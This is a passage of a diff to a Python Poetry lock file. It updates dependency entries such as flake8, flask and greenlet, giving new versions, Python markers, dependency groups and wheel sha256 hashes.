"dunamai-1.21.2.tar.gz", hash = "sha256:05827fb5f032f5596bfc944b23f613c147e676de118681f3bb1559533d8a65c4"}, -] - -[package.dependencies] -packaging = ">=20.9" - [[package]] name = "exceptiongroup" version = "1.2.2" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" +groups = ["dev"] +markers = "python_version < \"3.11\"" files = [ {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, @@ -707,38 +698,39 @@ test = ["pytest (>=6)"] [[package]] name = "flake8" -version = "5.0.4" +version = "7.1.2" description = "the modular source code checker: pep8 pyflakes and co" optional = false -python-versions = ">=3.6.1" +python-versions = ">=3.8.1" +groups = ["dev"] files = [ - {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"}, - {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"}, + {file = "flake8-7.1.2-py2.py3-none-any.whl", hash = "sha256:1cbc62e65536f65e6d754dfe6f1bada7f5cf392d6f5db3c2b85892466c3e7c1a"}, + {file = "flake8-7.1.2.tar.gz", hash = "sha256:c586ffd0b41540951ae41af572e6790dbd49fc12b3aa2541685d253d9bd504bd"}, ] [package.dependencies] mccabe = ">=0.7.0,<0.8.0" -pycodestyle = ">=2.9.0,<2.10.0" -pyflakes = ">=2.5.0,<2.6.0" +pycodestyle = ">=2.12.0,<2.13.0" +pyflakes = ">=3.2.0,<3.3.0" [[package]] name = "flask" -version = "3.0.3" +version = "3.1.0" description = "A simple framework for building complex web applications." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "flask-3.0.3-py3-none-any.whl", hash = "sha256:34e815dfaa43340d1d15a5c3a02b8476004037eb4840b34910c6e21679d288f3"}, - {file = "flask-3.0.3.tar.gz", hash = "sha256:ceb27b0af3823ea2737928a4d99d125a06175b8512c445cbd9a9ce200ef76842"}, + {file = "flask-3.1.0-py3-none-any.whl", hash = "sha256:d667207822eb83f1c4b50949b1623c8fc8d51f2341d65f72e1a1815397551136"}, + {file = "flask-3.1.0.tar.gz", hash = "sha256:5f873c5184c897c8d9d1b05df1e3d01b14910ce69607a117bd3277098a5836ac"}, ] [package.dependencies] -blinker = ">=1.6.2" +blinker = ">=1.9" click = ">=8.1.3" -importlib-metadata = {version = ">=3.6.0", markers = "python_version < \"3.10\""} -itsdangerous = ">=2.1.2" +itsdangerous = ">=2.2" Jinja2 = ">=3.1.2" -Werkzeug = ">=3.0.0" +Werkzeug = ">=3.1" [package.extras] async = ["asgiref (>=3.2)"] @@ -750,6 +742,7 @@ version = "1.0.0" description = "Clean single-source support for Python 3 and 2" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +groups = ["main"] files = [ {file = "future-1.0.0-py3-none-any.whl", hash = "sha256:929292d34f5872e70396626ef385ec22355a1fae8ad29e1a734c3e43f9fbc216"}, {file = "future-1.0.0.tar.gz", hash = "sha256:bd2968309307861edae1458a4f8a4f3598c03be43b97521076aebf5d94c07b05"}, @@ -757,69 +750,86 @@ files = [ [[package]] name = "greenlet" -version = "3.0.3" +version = "3.1.1" description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.7" +groups = ["main"] +markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")" files = [ - {file = "greenlet-3.0.3-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:9da2bd29ed9e4f15955dd1595ad7bc9320308a3b766ef7f837e23ad4b4aac31a"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d353cadd6083fdb056bb46ed07e4340b0869c305c8ca54ef9da3421acbdf6881"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dca1e2f3ca00b84a396bc1bce13dd21f680f035314d2379c4160c98153b2059b"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3ed7fb269f15dc662787f4119ec300ad0702fa1b19d2135a37c2c4de6fadfd4a"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd4f49ae60e10adbc94b45c0b5e6a179acc1736cf7a90160b404076ee283cf83"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:73a411ef564e0e097dbe7e866bb2dda0f027e072b04da387282b02c308807405"}, - {file = "greenlet-3.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:7f362975f2d179f9e26928c5b517524e89dd48530a0202570d55ad6ca5d8a56f"}, - {file = "greenlet-3.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:649dde7de1a5eceb258f9cb00bdf50e978c9db1b996964cd80703614c86495eb"}, - {file = "greenlet-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:68834da854554926fbedd38c76e60c4a2e3198c6fbed520b106a8986445caaf9"}, - {file = "greenlet-3.0.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:b1b5667cced97081bf57b8fa1d6bfca67814b0afd38208d52538316e9422fc61"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:52f59dd9c96ad2fc0d5724107444f76eb20aaccb675bf825df6435acb7703559"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:afaff6cf5200befd5cec055b07d1c0a5a06c040fe5ad148abcd11ba6ab9b114e"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe754d231288e1e64323cfad462fcee8f0288654c10bdf4f603a39ed923bef33"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2797aa5aedac23af156bbb5a6aa2cd3427ada2972c828244eb7d1b9255846379"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b7f009caad047246ed379e1c4dbcb8b020f0a390667ea74d2387be2998f58a22"}, - {file = "greenlet-3.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:c5e1536de2aad7bf62e27baf79225d0d64360d4168cf2e6becb91baf1ed074f3"}, - {file = "greenlet-3.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:894393ce10ceac937e56ec00bb71c4c2f8209ad516e96033e4b3b1de270e200d"}, - {file = "greenlet-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:1ea188d4f49089fc6fb283845ab18a2518d279c7cd9da1065d7a84e991748728"}, - {file = "greenlet-3.0.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:70fb482fdf2c707765ab5f0b6655e9cfcf3780d8d87355a063547b41177599be"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4d1ac74f5c0c0524e4a24335350edad7e5f03b9532da7ea4d3c54d527784f2e"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:149e94a2dd82d19838fe4b2259f1b6b9957d5ba1b25640d2380bea9c5df37676"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:15d79dd26056573940fcb8c7413d84118086f2ec1a8acdfa854631084393efcc"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:881b7db1ebff4ba09aaaeae6aa491daeb226c8150fc20e836ad00041bcb11230"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fcd2469d6a2cf298f198f0487e0a5b1a47a42ca0fa4dfd1b6862c999f018ebbf"}, - {file = "greenlet-3.0.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:1f672519db1796ca0d8753f9e78ec02355e862d0998193038c7073045899f305"}, - {file = "greenlet-3.0.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2516a9957eed41dd8f1ec0c604f1cdc86758b587d964668b5b196a9db5bfcde6"}, - {file = "greenlet-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:bba5387a6975598857d86de9eac14210a49d554a77eb8261cc68b7d082f78ce2"}, - {file = "greenlet-3.0.3-cp37-cp37m-macosx_11_0_universal2.whl", hash = "sha256:5b51e85cb5ceda94e79d019ed36b35386e8c37d22f07d6a751cb659b180d5274"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:daf3cb43b7cf2ba96d614252ce1684c1bccee6b2183a01328c98d36fcd7d5cb0"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:99bf650dc5d69546e076f413a87481ee1d2d09aaaaaca058c9251b6d8c14783f"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dd6e660effd852586b6a8478a1d244b8dc90ab5b1321751d2ea15deb49ed414"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3391d1e16e2a5a1507d83e4a8b100f4ee626e8eca43cf2cadb543de69827c4c"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e1f145462f1fa6e4a4ae3c0f782e580ce44d57c8f2c7aae1b6fa88c0b2efdb41"}, - {file = "greenlet-3.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1a7191e42732df52cb5f39d3527217e7ab73cae2cb3694d241e18f53d84ea9a7"}, - {file = "greenlet-3.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:0448abc479fab28b00cb472d278828b3ccca164531daab4e970a0458786055d6"}, - {file = "greenlet-3.0.3-cp37-cp37m-win32.whl", hash = "sha256:b542be2440edc2d48547b5923c408cbe0fc94afb9f18741faa6ae970dbcb9b6d"}, - {file = "greenlet-3.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:01bc7ea167cf943b4c802068e178bbf70ae2e8c080467070d01bfa02f337ee67"}, - {file = "greenlet-3.0.3-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:1996cb9306c8595335bb157d133daf5cf9f693ef413e7673cb07e3e5871379ca"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ddc0f794e6ad661e321caa8d2f0a55ce01213c74722587256fb6566049a8b04"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c9db1c18f0eaad2f804728c67d6c610778456e3e1cc4ab4bbd5eeb8e6053c6fc"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7170375bcc99f1a2fbd9c306f5be8764eaf3ac6b5cb968862cad4c7057756506"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b66c9c1e7ccabad3a7d037b2bcb740122a7b17a53734b7d72a344ce39882a1b"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:098d86f528c855ead3479afe84b49242e174ed262456c342d70fc7f972bc13c4"}, - {file = "greenlet-3.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:81bb9c6d52e8321f09c3d165b2a78c680506d9af285bfccbad9fb7ad5a5da3e5"}, - {file = "greenlet-3.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fd096eb7ffef17c456cfa587523c5f92321ae02427ff955bebe9e3c63bc9f0da"}, - {file = "greenlet-3.0.3-cp38-cp38-win32.whl", hash = "sha256:d46677c85c5ba00a9cb6f7a00b2bfa6f812192d2c9f7d9c4f6a55b60216712f3"}, - {file = "greenlet-3.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:419b386f84949bf0e7c73e6032e3457b82a787c1ab4a0e43732898a761cc9dbf"}, - {file = "greenlet-3.0.3-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:da70d4d51c8b306bb7a031d5cff6cc25ad253affe89b70352af5f1cb68e74b53"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:086152f8fbc5955df88382e8a75984e2bb1c892ad2e3c80a2508954e52295257"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d73a9fe764d77f87f8ec26a0c85144d6a951a6c438dfe50487df5595c6373eac"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b7dcbe92cc99f08c8dd11f930de4d99ef756c3591a5377d1d9cd7dd5e896da71"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1551a8195c0d4a68fac7a4325efac0d541b48def35feb49d803674ac32582f61"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:64d7675ad83578e3fc149b617a444fab8efdafc9385471f868eb5ff83e446b8b"}, - {file = "greenlet-3.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b37eef18ea55f2ffd8f00ff8fe7c8d3818abd3e25fb73fae2ca3b672e333a7a6"}, - {file = "greenlet-3.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:77457465d89b8263bca14759d7c1684df840b6811b2499838cc5b040a8b5b113"}, - {file = "greenlet-3.0.3-cp39-cp39-win32.whl", hash = "sha256:57e8974f23e47dac22b83436bdcf23080ade568ce77df33159e019d161ce1d1e"}, - {file = "greenlet-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c5ee858cfe08f34712f548c3c363e807e7186f03ad7a5039ebadb29e8c6be067"}, - {file = "greenlet-3.0.3.tar.gz", hash = "sha256:43374442353259554ce33599da8b692d5aa96f8976d567d4badf263371fbe491"}, + {file = "greenlet-3.1.1-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:0bbae94a29c9e5c7e4a2b7f0aae5c17e8e90acbfd3bf6270eeba60c39fce3563"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fde093fb93f35ca72a556cf72c92ea3ebfda3d79fc35bb19fbe685853869a83"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:36b89d13c49216cadb828db8dfa6ce86bbbc476a82d3a6c397f0efae0525bdd0"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94b6150a85e1b33b40b1464a3f9988dcc5251d6ed06842abff82e42632fac120"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:93147c513fac16385d1036b7e5b102c7fbbdb163d556b791f0f11eada7ba65dc"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da7a9bff22ce038e19bf62c4dd1ec8391062878710ded0a845bcf47cc0200617"}, + {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b2795058c23988728eec1f36a4e5e4ebad22f8320c85f3587b539b9ac84128d7"}, + {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:ed10eac5830befbdd0c32f83e8aa6288361597550ba669b04c48f0f9a2c843c6"}, + {file = "greenlet-3.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:77c386de38a60d1dfb8e55b8c1101d68c79dfdd25c7095d51fec2dd800892b80"}, + {file = "greenlet-3.1.1-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:e4d333e558953648ca09d64f13e6d8f0523fa705f51cae3f03b5983489958c70"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:09fc016b73c94e98e29af67ab7b9a879c307c6731a2c9da0db5a7d9b7edd1159"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5e975ca70269d66d17dd995dafc06f1b06e8cb1ec1e9ed54c1d1e4a7c4cf26e"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b2813dc3de8c1ee3f924e4d4227999285fd335d1bcc0d2be6dc3f1f6a318ec1"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e347b3bfcf985a05e8c0b7d462ba6f15b1ee1c909e2dcad795e49e91b152c383"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9e8f8c9cb53cdac7ba9793c276acd90168f416b9ce36799b9b885790f8ad6c0a"}, + {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:62ee94988d6b4722ce0028644418d93a52429e977d742ca2ccbe1c4f4a792511"}, + {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1776fd7f989fc6b8d8c8cb8da1f6b82c5814957264d1f6cf818d475ec2bf6395"}, + {file = "greenlet-3.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:48ca08c771c268a768087b408658e216133aecd835c0ded47ce955381105ba39"}, + {file = "greenlet-3.1.1-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:4afe7ea89de619adc868e087b4d2359282058479d7cfb94970adf4b55284574d"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f406b22b7c9a9b4f8aa9d2ab13d6ae0ac3e85c9a809bd590ad53fed2bf70dc79"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c3a701fe5a9695b238503ce5bbe8218e03c3bcccf7e204e455e7462d770268aa"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2846930c65b47d70b9d178e89c7e1a69c95c1f68ea5aa0a58646b7a96df12441"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99cfaa2110534e2cf3ba31a7abcac9d328d1d9f1b95beede58294a60348fba36"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1443279c19fca463fc33e65ef2a935a5b09bb90f978beab37729e1c3c6c25fe9"}, + {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b7cede291382a78f7bb5f04a529cb18e068dd29e0fb27376074b6d0317bf4dd0"}, + {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:23f20bb60ae298d7d8656c6ec6db134bca379ecefadb0b19ce6f19d1f232a942"}, + {file = "greenlet-3.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:7124e16b4c55d417577c2077be379514321916d5790fa287c9ed6f23bd2ffd01"}, + {file = "greenlet-3.1.1-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:05175c27cb459dcfc05d026c4232f9de8913ed006d42713cb8a5137bd49375f1"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:935e943ec47c4afab8965954bf49bfa639c05d4ccf9ef6e924188f762145c0ff"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:667a9706c970cb552ede35aee17339a18e8f2a87a51fba2ed39ceeeb1004798a"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8a678974d1f3aa55f6cc34dc480169d58f2e6d8958895d68845fa4ab566509e"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efc0f674aa41b92da8c49e0346318c6075d734994c3c4e4430b1c3f853e498e4"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0153404a4bb921f0ff1abeb5ce8a5131da56b953eda6e14b88dc6bbc04d2049e"}, + {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:275f72decf9932639c1c6dd1013a1bc266438eb32710016a1c742df5da6e60a1"}, + {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:c4aab7f6381f38a4b42f269057aee279ab0fc7bf2e929e3d4abfae97b682a12c"}, + {file = "greenlet-3.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:b42703b1cf69f2aa1df7d1030b9d77d3e584a70755674d60e710f0af570f3761"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1695e76146579f8c06c1509c7ce4dfe0706f49c6831a817ac04eebb2fd02011"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7876452af029456b3f3549b696bb36a06db7c90747740c5302f74a9e9fa14b13"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4ead44c85f8ab905852d3de8d86f6f8baf77109f9da589cb4fa142bd3b57b475"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8320f64b777d00dd7ccdade271eaf0cad6636343293a25074cc5566160e4de7b"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6510bf84a6b643dabba74d3049ead221257603a253d0a9873f55f6a59a65f822"}, + {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:04b013dc07c96f83134b1e99888e7a79979f1a247e2a9f59697fa14b5862ed01"}, + {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:411f015496fec93c1c8cd4e5238da364e1da7a124bcb293f085bf2860c32c6f6"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:47da355d8687fd65240c364c90a31569a133b7b60de111c255ef5b606f2ae291"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98884ecf2ffb7d7fe6bd517e8eb99d31ff7855a840fa6d0d63cd07c037f6a981"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f1d4aeb8891338e60d1ab6127af1fe45def5259def8094b9c7e34690c8858803"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db32b5348615a04b82240cc67983cb315309e88d444a288934ee6ceaebcad6cc"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dcc62f31eae24de7f8dce72134c8651c58000d3b1868e01392baea7c32c247de"}, + {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1d3755bcb2e02de341c55b4fca7a745a24a9e7212ac953f6b3a48d117d7257aa"}, + {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:b8da394b34370874b4572676f36acabac172602abf054cbc4ac910219f3340af"}, + {file = "greenlet-3.1.1-cp37-cp37m-win32.whl", hash = "sha256:a0dfc6c143b519113354e780a50381508139b07d2177cb6ad6a08278ec655798"}, + {file = "greenlet-3.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:54558ea205654b50c438029505def3834e80f0869a70fb15b871c29b4575ddef"}, + {file = "greenlet-3.1.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:346bed03fe47414091be4ad44786d1bd8bef0c3fcad6ed3dee074a032ab408a9"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfc59d69fc48664bc693842bd57acfdd490acafda1ab52c7836e3fc75c90a111"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d21e10da6ec19b457b82636209cbe2331ff4306b54d06fa04b7c138ba18c8a81"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:37b9de5a96111fc15418819ab4c4432e4f3c2ede61e660b1e33971eba26ef9ba"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ef9ea3f137e5711f0dbe5f9263e8c009b7069d8a1acea822bd5e9dae0ae49c8"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85f3ff71e2e60bd4b4932a043fbbe0f499e263c628390b285cb599154a3b03b1"}, + {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:95ffcf719966dd7c453f908e208e14cde192e09fde6c7186c8f1896ef778d8cd"}, + {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:03a088b9de532cbfe2ba2034b2b85e82df37874681e8c470d6fb2f8c04d7e4b7"}, + {file = "greenlet-3.1.1-cp38-cp38-win32.whl", hash = "sha256:8b8b36671f10ba80e159378df9c4f15c14098c4fd73a36b9ad715f057272fbef"}, + {file = "greenlet-3.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:7017b2be767b9d43cc31416aba48aab0d2309ee31b4dbf10a1d38fb7972bdf9d"}, + {file = "greenlet-3.1.1-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:396979749bd95f018296af156201d6211240e7a23090f50a8d5d18c370084dc3"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca9d0ff5ad43e785350894d97e13633a66e2b50000e8a183a50a88d834752d42"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f6ff3b14f2df4c41660a7dec01045a045653998784bf8cfcb5a525bdffffbc8f"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94ebba31df2aa506d7b14866fed00ac141a867e63143fe5bca82a8e503b36437"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:73aaad12ac0ff500f62cebed98d8789198ea0e6f233421059fa68a5aa7220145"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63e4844797b975b9af3a3fb8f7866ff08775f5426925e1e0bbcfe7932059a12c"}, + {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7939aa3ca7d2a1593596e7ac6d59391ff30281ef280d8632fa03d81f7c5f955e"}, + {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d0028e725ee18175c6e422797c407874da24381ce0690d6b9396c204c7f7276e"}, + {file = "greenlet-3.1.1-cp39-cp39-win32.whl", hash = "sha256:5e06afd14cbaf9e00899fae69b24a32f2196c19de08fcb9f4779dd4f004e5e7c"}, + {file = "greenlet-3.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:3319aa75e0e0639bc15ff54ca327e8dc7a6fe404003496e3c6925cd3142e0e22"}, + {file = "greenlet-3.1.1.tar.gz", hash = "sha256:4ce3ac6cdb6adf7946475d7ef31777c26d94bccc377e070a7986bd2d5c515467"}, ] [package.extras] @@ -832,6 +842,7 @@ version = "0.14.0" description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = 